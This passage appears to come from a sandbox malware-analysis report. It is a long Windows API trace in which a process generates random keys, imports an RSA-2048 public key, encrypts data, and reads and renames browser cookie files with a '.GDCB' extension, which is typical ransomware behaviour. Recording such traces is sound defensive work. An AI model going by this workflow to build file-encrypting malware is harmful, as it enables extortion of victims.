1 [0191.209] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.210] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.210] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0191.210] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0191.210] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0191.213] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037b90) returned 1 [0191.213] CryptGetKeyParam (in: hKey=0x5037b90, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.213] CryptEncrypt (in: hKey=0x5037b90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0191.213] GetLastError () returned 0x0 [0191.213] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0191.213] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0191.215] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037e90) returned 1 [0191.215] CryptGetKeyParam (in: hKey=0x5037e90, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.215] CryptEncrypt (in: hKey=0x5037e90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0191.215] GetLastError () returned 0x0 [0191.215] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.215] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\RTEPN67M.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\rtepn67m.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0191.218] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0191.219] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0191.220] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0xed, lpOverlapped=0x0) returned 1 [0191.229] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0191.235] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\RTEPN67M.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\rtepn67m.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\RTEPN67M.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\rtepn67m.txt.gdcb")) returned 1 [0191.245] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0191.247] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.249] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.249] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0191.249] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.249] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0191.251] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.252] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.252] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0191.252] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.253] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0191.255] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037dd0) returned 1 [0191.255] CryptGetKeyParam (in: hKey=0x5037dd0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.255] CryptEncrypt (in: hKey=0x5037dd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0191.255] GetLastError () returned 0x0 [0191.255] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0191.255] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0191.258] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50379d0) returned 1 [0191.258] CryptGetKeyParam (in: hKey=0x50379d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.258] CryptEncrypt (in: hKey=0x50379d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0191.258] GetLastError () returned 0x0 [0191.258] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.258] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\RYK7X1K4.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ryk7x1k4.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0191.260] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0191.262] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0191.263] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x71, lpOverlapped=0x0) returned 1 [0191.273] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0191.277] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\RYK7X1K4.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ryk7x1k4.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\RYK7X1K4.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ryk7x1k4.txt.gdcb")) returned 1 [0191.284] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0191.285] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.286] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.286] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0191.287] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0191.287] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0191.288] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.289] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.289] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0191.289] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.290] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0191.292] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037bd0) returned 1 [0191.292] CryptGetKeyParam (in: hKey=0x5037bd0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.292] CryptEncrypt (in: hKey=0x5037bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0191.292] GetLastError () returned 0x0 [0191.292] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0191.292] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0191.295] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037d50) returned 1 [0191.295] CryptGetKeyParam (in: hKey=0x5037d50, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.295] CryptEncrypt (in: hKey=0x5037d50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0191.295] GetLastError () returned 0x0 [0191.295] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.295] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\S0EK69P5.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\s0ek69p5.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0191.298] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0191.299] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0191.300] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x7b, lpOverlapped=0x0) returned 1 [0191.310] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0191.315] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\S0EK69P5.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\s0ek69p5.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\S0EK69P5.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\s0ek69p5.txt.gdcb")) returned 1 [0191.340] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0191.342] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.343] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.343] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0191.343] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0191.343] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0191.344] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.345] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.345] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0191.345] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0191.345] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0191.347] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037890) returned 1 [0191.347] CryptGetKeyParam (in: hKey=0x5037890, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.347] CryptEncrypt (in: hKey=0x5037890, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0191.348] GetLastError () returned 0x0 [0191.348] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.348] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0191.349] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038290) returned 1 [0191.349] CryptGetKeyParam (in: hKey=0x5038290, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.349] CryptEncrypt (in: hKey=0x5038290, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0191.350] GetLastError () returned 0x0 [0191.350] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.350] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\SEVCUJM3.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\sevcujm3.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0191.351] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0191.353] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0191.354] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x58, lpOverlapped=0x0) returned 1 [0191.363] VirtualAlloc (lpAddress=0x0, dwSize=0x60, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0191.367] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\SEVCUJM3.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\sevcujm3.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\SEVCUJM3.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\sevcujm3.txt.gdcb")) returned 1 [0191.374] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0191.375] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.376] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.376] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0191.376] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0191.376] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0191.377] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.378] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.378] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0191.378] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.378] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0191.380] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038110) returned 1 [0191.381] CryptGetKeyParam (in: hKey=0x5038110, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.381] CryptEncrypt (in: hKey=0x5038110, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0191.381] GetLastError () returned 0x0 [0191.381] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.381] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0191.383] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038710) returned 1 [0191.383] CryptGetKeyParam (in: hKey=0x5038710, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.383] CryptEncrypt (in: hKey=0x5038710, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0191.383] GetLastError () returned 0x0 [0191.383] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0191.383] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\STGOZ493.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\stgoz493.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0191.385] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0191.386] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0191.387] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x6b, lpOverlapped=0x0) returned 1 [0191.396] VirtualAlloc (lpAddress=0x0, dwSize=0x70, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0191.400] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\STGOZ493.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\stgoz493.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\STGOZ493.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\stgoz493.txt.gdcb")) returned 1 [0191.406] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0191.408] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.408] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.408] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0191.408] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0191.408] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0191.410] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.410] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.410] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0191.410] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.410] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0191.412] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038350) returned 1 [0191.412] CryptGetKeyParam (in: hKey=0x5038350, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: 